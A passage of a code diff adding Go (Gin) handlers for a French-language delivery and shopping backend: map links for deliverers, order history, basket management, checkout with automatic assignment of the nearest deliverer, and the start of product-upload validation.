|
||||
"message": "Le livreur n'a pas encore partagé sa position ou est hors ligne",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Validation des coordonnées
|
||||
if lat == 0 && lon == 0 {
|
||||
log.Printf("⚠️ [MAP_LINKS] Coordonnées invalides (0,0) pour %s", username)
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"success": false,
|
||||
"error": "Coordonnées GPS invalides (0,0)",
|
||||
"message": "Le livreur doit mettre à jour sa position",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Générer les liens de cartes
|
||||
mapLinks := database.GenerateMapLinks(lat, lon, username)
|
||||
|
||||
log.Printf("✅ [MAP_LINKS] Liens générés pour %s: (%.6f, %.6f)", username, lat, lon)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"deliveryman": gin.H{
|
||||
"username": username,
|
||||
},
|
||||
"location": gin.H{
|
||||
"latitude": lat,
|
||||
"longitude": lon,
|
||||
"valid": true,
|
||||
},
|
||||
"map_links": mapLinks,
|
||||
})
|
||||
}
|
||||
|
||||
// GetCommandNavigationLinks génère les liens de navigation pour une commande
|
||||
// GET /api/v2/admin/protected/commands/:id/navigation-links
|
||||
func GetCommandNavigationLinks(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer la commande
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier qu'un livreur est assigné
|
||||
livreurAssign, ok := command["livreur_assign"].(string)
|
||||
if !ok || livreurAssign == "" {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Aucun livreur assigné à cette commande",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Générer les liens de navigation
|
||||
links, err := database.GenerateMapLinksForCommand(commandID, livreurAssign)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur génération des liens",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"deliveryman": livreurAssign,
|
||||
"navigation_links": links,
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,229 @@
|
||||
// ============================================
|
||||
// handlers/history_handlers.go
|
||||
// ============================================
|
||||
// Gestion de l'historique des commandes terminées
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"log"
|
||||
"net/http"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// GetMyCompletedOrders récupère l'historique des commandes terminées du client
|
||||
// GET /api/v1/my-commands/history
|
||||
// ✅ Authentification requise (ClientMiddleware)
|
||||
// ✅ Retourne uniquement les commandes avec status = "approved"
|
||||
func GetMyCompletedOrders(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Récupérer depuis JWT validé
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
log.Printf("❌ [HISTORY] Utilisateur non authentifié")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "Authentification requise",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
log.Printf("📚 [HISTORY] Récupération historique pour: %s", usernameStr)
|
||||
|
||||
// ✅ Récupérer les commandes terminées (approved)
|
||||
commands, err := database.GetCompletedCommandsByUsername(usernameStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [HISTORY] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de la récupération de l'historique",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [HISTORY] %d commandes terminées trouvées", len(commands))
|
||||
|
||||
// ✅ Récupérer les infos client pour statistiques
|
||||
client, err := database.GetClientByUsername(usernameStr)
|
||||
|
||||
response := gin.H{
|
||||
"success": true,
|
||||
"commands": commands,
|
||||
"count": len(commands),
|
||||
}
|
||||
|
||||
if err == nil && client != nil {
|
||||
response["client_stats"] = gin.H{
|
||||
"username": client.Username,
|
||||
"total_commands": client.Command,
|
||||
"points": client.Point,
|
||||
"penalties": client.Amende,
|
||||
}
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, response)
|
||||
}
|
||||
|
||||
// GetMyCompletedOrdersWithItems récupère l'historique avec les détails des items
|
||||
// GET /api/v1/my-commands/history/detailed
|
||||
// ✅ Authentification requise (ClientMiddleware)
|
||||
// ✅ Retourne les commandes approved avec tous les items
|
||||
func GetMyCompletedOrdersWithItems(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Récupérer depuis JWT validé
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
log.Printf("❌ [HISTORY_DETAILED] Utilisateur non authentifié")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "Authentification requise",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
log.Printf("📚 [HISTORY_DETAILED] Récupération historique détaillé pour: %s", usernameStr)
|
||||
|
||||
// ✅ Récupérer les commandes terminées
|
||||
commands, err := database.GetCompletedCommandsByUsername(usernameStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [HISTORY_DETAILED] Erreur: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de la récupération de l'historique",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Enrichir chaque commande avec ses items
|
||||
var enrichedCommands []map[string]interface{}
|
||||
|
||||
for _, command := range commands {
|
||||
commandID, ok := command["id"].(int)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
// Récupérer les items de cette commande
|
||||
items, err := database.GetCommandItems(commandID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [HISTORY_DETAILED] Erreur items pour cmd %d: %v", commandID, err)
|
||||
items = []map[string]interface{}{}
|
||||
}
|
||||
|
||||
// Ajouter les items à la commande
|
||||
enrichedCommand := make(map[string]interface{})
|
||||
for k, v := range command {
|
||||
enrichedCommand[k] = v
|
||||
}
|
||||
enrichedCommand["items"] = items
|
||||
enrichedCommand["items_count"] = len(items)
|
||||
|
||||
enrichedCommands = append(enrichedCommands, enrichedCommand)
|
||||
}
|
||||
|
||||
log.Printf("✅ [HISTORY_DETAILED] %d commandes enrichies", len(enrichedCommands))
|
||||
|
||||
// ✅ Récupérer les infos client
|
||||
client, err := database.GetClientByUsername(usernameStr)
|
||||
|
||||
response := gin.H{
|
||||
"success": true,
|
||||
"commands": enrichedCommands,
|
||||
"count": len(enrichedCommands),
|
||||
}
|
||||
|
||||
if err == nil && client != nil {
|
||||
response["client_stats"] = gin.H{
|
||||
"username": client.Username,
|
||||
"nom": client.Nom,
|
||||
"prenom": client.Prenom,
|
||||
"telephone": client.Telephone,
|
||||
"total_commands": client.Command,
|
||||
"points": client.Point,
|
||||
"penalties": client.Amende,
|
||||
}
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, response)
|
||||
}
|
||||
|
||||
// GetOrderHistory récupère l'historique d'une commande spécifique avec logs
|
||||
// GET /api/v1/commands/:id/history
|
||||
// ✅ Authentification requise
|
||||
// ✅ Vérifie que la commande appartient au client
|
||||
func GetOrderHistory(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ: Récupérer depuis JWT validé
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
log.Printf("❌ [ORDER_HISTORY] Utilisateur non authentifié")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{
|
||||
"error": "Authentification requise",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
usernameStr := username.(string)
|
||||
|
||||
// Récupérer l'ID de la commande
|
||||
var commandID int
|
||||
if _, err := fmt.Sscanf(c.Param("id"), "%d", &commandID); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "ID de commande invalide",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("📜 [ORDER_HISTORY] Récupération historique cmd %d pour %s", commandID, usernameStr)
|
||||
|
||||
// ✅ Vérifier que la commande existe
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [ORDER_HISTORY] Commande non trouvée")
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Commande non trouvée",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Vérifier que la commande appartient au client
|
||||
cmdUsername, ok := command["username"].(string)
|
||||
if !ok || cmdUsername != usernameStr {
|
||||
log.Printf("❌ [ORDER_HISTORY] Accès refusé - cmd appartient à %s, pas à %s", cmdUsername, usernameStr)
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Cette commande ne vous appartient pas",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ Récupérer les logs de la commande
|
||||
logs, err := database.GetCommandLogs(commandID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [ORDER_HISTORY] Erreur logs: %v", err)
|
||||
logs = []map[string]interface{}{}
|
||||
}
|
||||
|
||||
// ✅ Récupérer les items
|
||||
items, err := database.GetCommandItems(commandID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [ORDER_HISTORY] Erreur items: %v", err)
|
||||
items = []map[string]interface{}{}
|
||||
}
|
||||
|
||||
log.Printf("✅ [ORDER_HISTORY] Cmd %d: %d logs, %d items", commandID, len(logs), len(items))
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command": command,
|
||||
"logs": logs,
|
||||
"logs_count": len(logs),
|
||||
"items": items,
|
||||
"items_count": len(items),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,456 @@
|
||||
// ============================================
|
||||
// handlers/basket_handlers_CORRIGES.go
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"gestion/db"
|
||||
"gestion/services"
|
||||
"log"
|
||||
"net/http"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
type BasketsRequest struct {
|
||||
Username string `json:"username"`
|
||||
NameProduct string `json:"name_product"`
|
||||
Category string `json:"category"`
|
||||
Quantity float64 `json:"quantity"`
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ✅ SÉCURISÉ: AddProductsBasket
|
||||
// ============================================
|
||||
// POST /api/v1/panier/add
|
||||
func AddProductsBasket(c *gin.Context) {
|
||||
db := c.MustGet("database").(*db.Database)
|
||||
|
||||
// Liaison JSON
|
||||
var req BasketsRequest
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Requête invalide", "details": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer le username depuis JWT ou contexte
|
||||
username, ok := c.Get("username")
|
||||
if !ok {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
req.Username = username.(string)
|
||||
|
||||
// Validation des champs
|
||||
if req.NameProduct == "" || req.Category == "" || req.Quantity <= 0 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Champs invalides"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier le stock
|
||||
stock, err := db.GetProductStock(req.NameProduct, req.Category)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Produit non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
if stock < req.Quantity {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Stock insuffisant",
|
||||
"available": stock,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Ajouter au panier (ou mettre à jour si déjà présent)
|
||||
panier, err := db.AddProductInBasket(req.Username, req.NameProduct, req.Quantity, req.Category)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible d'ajouter le produit au panier"})
|
||||
return
|
||||
}
|
||||
|
||||
// Décrémenter le stock
|
||||
if err := db.DecrementProductStock(req.NameProduct, req.Category, req.Quantity); err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de réserver le stock"})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusCreated, gin.H{
|
||||
"success": true,
|
||||
"message": "Produit ajouté au panier avec succès",
|
||||
"panier": panier,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ============================================
|
||||
// GET /api/v1/panier/:username
|
||||
// Récupère le panier du client authentifié
|
||||
func GetAllBaskets(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
username := c.Param("username")
|
||||
|
||||
log.Printf("📦 [GET_PANIER] Requête pour: %s", username)
|
||||
|
||||
if username == "" {
|
||||
log.Printf("❌ [GET_PANIER] Username manquant")
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Le paramètre 'username' est requis"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ SÉCURITÉ 1: Récupérer username depuis le contexte (du JWT validé)
|
||||
authUsername, hasAuth := c.Get("username")
|
||||
if !hasAuth {
|
||||
log.Printf("❌ [GET_PANIER] Username manquant dans JWT")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
|
||||
authUsernameStr := authUsername.(string)
|
||||
|
||||
// ✅ SÉCURITÉ 2: Vérifier que c'est bien l'utilisateur de la session
|
||||
if username != authUsernameStr {
|
||||
log.Printf("❌ [GET_PANIER] ⚠️ TENTATIVE D'ACCÈS AU PANIER NON AUTORISÉE!")
|
||||
log.Printf(" Username du JWT: %s", authUsernameStr)
|
||||
log.Printf(" Username demandé: %s", username)
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Vous ne pouvez accéder qu'à votre panier",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ SÉCURITÉ 3: Forcer l'utilisation du username du JWT
|
||||
username = authUsernameStr
|
||||
|
||||
// ✅ SÉCURITÉ 4: Vérifier que c'est un CLIENT
|
||||
_, err := database.GetClientByUsername(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_PANIER] Client inexistant: %s", username)
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Utilisateur inexistant"})
|
||||
return
|
||||
}
|
||||
|
||||
baskets, err := database.GetAllProductsInBasket(username)
|
||||
if err != nil {
|
||||
log.Printf("❌ [GET_PANIER] Erreur récupération: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de la récupération du panier",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
var totalAmount float64
|
||||
for _, item := range baskets {
|
||||
totalAmount += item.Price * item.Quantity
|
||||
}
|
||||
|
||||
log.Printf("✅ [GET_PANIER] Panier %s: %d articles, total=%.2f€", username, len(baskets), totalAmount)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Panier récupéré avec succès",
|
||||
"panier": baskets,
|
||||
"count": len(baskets),
|
||||
"total_amount": totalAmount,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ✅ SÉCURISÉ: DeleteProductFromBasket
|
||||
// ============================================
|
||||
// DELETE /api/v1/panier/remove
|
||||
// Supprime un produit du panier
|
||||
func DeleteProductFromBasket(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
var req struct {
|
||||
ID int `json:"id" binding:"required"`
|
||||
}
|
||||
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
log.Printf("❌ [DEL_PANIER] Erreur JSON: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Données requises manquantes",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ SÉCURITÉ 1: Récupérer username depuis le contexte (du JWT validé)
|
||||
authUsername, hasAuth := c.Get("username")
|
||||
if !hasAuth {
|
||||
log.Printf("❌ [DEL_PANIER] Username manquant dans JWT")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
|
||||
authUsernameStr := authUsername.(string)
|
||||
|
||||
log.Printf("🗑️ [DEL_PANIER] Suppression article: id=%d, client=%s", req.ID, authUsernameStr)
|
||||
|
||||
// ✅ SÉCURITÉ 2: Vérifier que l'article appartient à ce client
|
||||
var itemUsername string
|
||||
err := database.QueryRow(
|
||||
"SELECT username FROM baskets WHERE id = $1",
|
||||
req.ID,
|
||||
).Scan(&itemUsername)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ [DEL_PANIER] Article non trouvé: id=%d", req.ID)
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Article non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
if itemUsername != authUsernameStr {
|
||||
log.Printf("❌ [DEL_PANIER] ⚠️ TENTATIVE DE SUPPRESSION NON AUTORISÉE!")
|
||||
log.Printf(" Client JWT: %s", authUsernameStr)
|
||||
log.Printf(" Propriétaire article: %s", itemUsername)
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Vous ne pouvez supprimer que vos articles",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Supprimer l'article
|
||||
err = database.DeleteProductFromBasket(req.ID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [DEL_PANIER] Erreur suppression: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors de la suppression",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [DEL_PANIER] Article %d supprimé", req.ID)
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Produit supprimé du panier avec succès",
|
||||
"item_id": req.ID,
|
||||
"stock_released": true,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ✅ SÉCURISÉ: ClearBasket
|
||||
// ============================================
|
||||
// DELETE /api/v1/panier/clear
|
||||
// Vide le panier du client
|
||||
func ClearBasket(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
// ✅ SÉCURITÉ 1: Récupérer username depuis le contexte (du JWT validé)
|
||||
authUsername, hasAuth := c.Get("username")
|
||||
if !hasAuth {
|
||||
log.Printf("❌ [CLEAR_PANIER] Username manquant dans JWT")
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
|
||||
return
|
||||
}
|
||||
|
||||
authUsernameStr := authUsername.(string)
|
||||
|
||||
log.Printf("🧹 [CLEAR_PANIER] Vider panier de: %s", authUsernameStr)
|
||||
|
||||
baskets, err := database.GetAllProductsInBasket(authUsernameStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CLEAR_PANIER] Erreur récupération: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors du vidage du panier",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
err = database.ClearBasket(authUsernameStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CLEAR_PANIER] Erreur vidage: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur lors du vidage du panier",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [CLEAR_PANIER] Panier %s vidé: %d articles supprimés", authUsernameStr, len(baskets))
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"message": "Panier vidé avec succès",
|
||||
"stock_released": len(baskets),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ✅ SÉCURISÉ: ValidateBasket - CHECKOUT FINAL
|
||||
// ============================================
|
||||
// POST /api/v1/checkout
|
||||
// Crée la commande depuis le panier et le vide
|
||||
// ⚠️ SEUL ENDPOINT DE CRÉATION DE COMMANDE (CreateCommandFromBasket supprimé)
|
||||
func ValidateBasket(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
|
||||
username, exists := c.Get("username")
|
||||
if !exists {
|
||||
c.JSON(http.StatusUnauthorized, gin.H{"error": "Utilisateur non authentifié"})
|
||||
return
|
||||
}
|
||||
usernameStr := username.(string)
|
||||
|
||||
var req struct {
|
||||
DeliveryAddress string `json:"delivery_address" binding:"required"`
|
||||
}
|
||||
if err := c.ShouldBindJSON(&req); err != nil || req.DeliveryAddress == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Adresse de livraison requise"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("🛒 [CHECKOUT] Début checkout pour: %s", usernameStr)
|
||||
|
||||
// ============================================
|
||||
// 1️⃣ Vérifier que le panier n'est pas vide
|
||||
// ============================================
|
||||
items, err := database.GetBasketItems(usernameStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CHECKOUT] Erreur récupération panier: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de récupérer le panier", "details": err.Error()})
|
||||
return
|
||||
}
|
||||
|
||||
if len(items) == 0 {
|
||||
log.Printf("❌ [CHECKOUT] Panier vide")
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Panier vide"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("🛒 [CHECKOUT] Panier: %d articles", len(items))
|
||||
|
||||
// ============================================
|
||||
// 2️⃣ Créer la commande (qui décrémente automatiquement le stock)
|
||||
// ============================================
|
||||
command, err := database.CreateCommandWithAddress(usernameStr, req.DeliveryAddress)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CHECKOUT] Erreur création commande: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création commande", "details": err.Error()})
|
||||
return
|
||||
}
|
||||
commandID := command.ID
|
||||
log.Printf("✅ [CHECKOUT] Commande %d créée", commandID)
|
||||
|
||||
// ============================================
|
||||
// 3️⃣ Vider le panier
|
||||
// ============================================
|
||||
err = database.ClearBasket(usernameStr)
|
||||
if err != nil {
|
||||
log.Printf("❌ [CHECKOUT] Erreur vidage panier: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de vider le panier", "details": err.Error()})
|
||||
return
|
||||
}
|
||||
log.Printf("🧹 [CHECKOUT] Panier vidé")
|
||||
|
||||
// ============================================
|
||||
// 4️⃣ Auto-assignation livreur (optionnel)
|
||||
// ============================================
|
||||
var assigned bool
|
||||
var assignInfo gin.H
|
||||
|
||||
location, err := geoService.GeocodeAddress(req.DeliveryAddress)
|
||||
if err == nil {
|
||||
log.Printf("📍 [CHECKOUT] Adresse géocodée: %.6f,%.6f", location.Latitude, location.Longitude)
|
||||
|
||||
activeLivreurs, err := database.GetAllActiveDeliveryPersons()
|
||||
if err == nil && len(activeLivreurs) > 0 {
|
||||
log.Printf("🚚 [CHECKOUT] %d livreurs actifs disponibles", len(activeLivreurs))
|
||||
|
||||
usernames := make([]string, len(activeLivreurs))
|
||||
for i, livreur := range activeLivreurs {
|
||||
usernames[i] = livreur.Username
|
||||
}
|
||||
|
||||
nearest, err := geoService.FindNearestDeliveryPersonFast(services.Coordinates{
|
||||
Latitude: location.Latitude,
|
||||
Longitude: location.Longitude,
|
||||
}, usernames)
|
||||
|
||||
if err == nil {
|
||||
log.Printf("👤 [CHECKOUT] Livreur le plus proche: %s (%.2f km)", nearest.Username, nearest.Distance)
|
||||
|
||||
// ✅ CORRECTION: Utiliser CalculateETAWithTomTom au lieu de GetETAWithTraffic
|
||||
travelTime, distance, err := services.CalculateETAWithTomTom(
|
||||
nearest.Location,
|
||||
services.Coordinates{
|
||||
Latitude: location.Latitude,
|
||||
Longitude: location.Longitude,
|
||||
},
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
// Fallback sur ETA simple
|
||||
travelTime = nearest.EstimatedTime
|
||||
distance = nearest.Distance
|
||||
log.Printf("⚠️ [CHECKOUT] Fallback ETA: %d min", travelTime)
|
||||
}
|
||||
|
||||
log.Printf("⏱️ [CHECKOUT] ETA calculé: %d min, distance: %.2f km", travelTime, distance)
|
||||
|
||||
// Assigner la commande au livreur
|
||||
err = database.AssignCommandToDeliverymanQueueWithCoords(
|
||||
commandID,
|
||||
nearest.Username,
|
||||
travelTime,
|
||||
location.Latitude,
|
||||
location.Longitude,
|
||||
req.DeliveryAddress,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CHECKOUT] Erreur assignation: %v", err)
|
||||
} else {
|
||||
// Mettre à jour le statut du livreur
|
||||
err = database.SetDeliveryPersonStatus(nearest.Username, "busy", commandID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CHECKOUT] Erreur mise à jour statut livreur: %v", err)
|
||||
}
|
||||
|
||||
assigned = true
|
||||
assignInfo = gin.H{
|
||||
"username": nearest.Username,
|
||||
"distance_km": distance,
|
||||
"travel_time": travelTime,
|
||||
}
|
||||
log.Printf("✅ [CHECKOUT] Commande assignée à %s", nearest.Username)
|
||||
}
|
||||
} else {
|
||||
log.Printf("⚠️ [CHECKOUT] Aucun livreur trouvé: %v", err)
|
||||
}
|
||||
} else {
|
||||
log.Printf("⚠️ [CHECKOUT] Aucun livreur actif disponible")
|
||||
}
|
||||
} else {
|
||||
log.Printf("⚠️ [CHECKOUT] Erreur géocodage: %v", err)
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 5️⃣ Réponse
|
||||
// ============================================
|
||||
resp := gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"delivery_address": req.DeliveryAddress,
|
||||
"status": "pending",
|
||||
}
|
||||
|
||||
if assigned {
|
||||
resp["message"] = "Commande créée et livreur assigné automatiquement"
|
||||
resp["auto_assigned"] = true
|
||||
resp["assigned_to"] = assignInfo
|
||||
resp["status"] = "assigned"
|
||||
log.Printf("✅ [CHECKOUT] Réponse 200 - Commande %d assignée", commandID)
|
||||
} else {
|
||||
resp["message"] = "Commande créée - En attente d'assignation"
|
||||
resp["auto_assigned"] = false
|
||||
log.Printf("✅ [CHECKOUT] Réponse 200 - Commande %d en attente", commandID)
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, resp)
|
||||
}
|
||||
@@ -0,0 +1,959 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"gestion/models"
|
||||
"gestion/utils"
|
||||
"log"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// CONFIGURATION & LIMITES
|
||||
// ============================================
|
||||
|
||||
const (
|
||||
MaxFileSize = 10 * 1024 * 1024 // 10MB par fichier
|
||||
MaxTotalUploadSize = 50 * 1024 * 1024 // 50MB total
|
||||
MaxFilesPerProduct = 10 // Max 10 fichiers
|
||||
MaxNameLength = 200
|
||||
MaxDescLength = 2000
|
||||
MaxProductsPerUser = 100 // Limite pour éviter spam
|
||||
)
|
||||
|
||||
// ✅ MIME types autorisés (vérification réelle du contenu)
|
||||
var allowedMimeTypes = map[string]bool{
|
||||
"image/jpeg": true,
|
||||
"image/png": true,
|
||||
"image/gif": true,
|
||||
"image/webp": true,
|
||||
"video/mp4": true,
|
||||
"video/webm": true,
|
||||
"video/quicktime": true,
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MIDDLEWARE D'AUTHORIZATION
|
||||
// ============================================
|
||||
|
||||
func RequireAdminOrCabine() gin.HandlerFunc {
|
||||
return func(c *gin.Context) {
|
||||
role := c.GetString("role")
|
||||
if role != "admin" && role != "cabine" {
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Accès refusé - Admin ou Cabine requis",
|
||||
})
|
||||
c.Abort()
|
||||
return
|
||||
}
|
||||
c.Next()
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// HELPERS DE VALIDATION
|
||||
// ============================================
|
||||
|
||||
func validateProductName(name string) error {
|
||||
if len(name) == 0 {
|
||||
return fmt.Errorf("nom requis")
|
||||
}
|
||||
if len(name) > MaxNameLength {
|
||||
return fmt.Errorf("nom trop long (max %d caractères)", MaxNameLength)
|
||||
}
|
||||
// Sanitize
|
||||
if strings.Contains(name, "..") || strings.Contains(name, "/") {
|
||||
return fmt.Errorf("nom invalide")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func validateProductDescription(desc string) error {
|
||||
if len(desc) == 0 {
|
||||
return fmt.Errorf("description requise")
|
||||
}
|
||||
if len(desc) > MaxDescLength {
|
||||
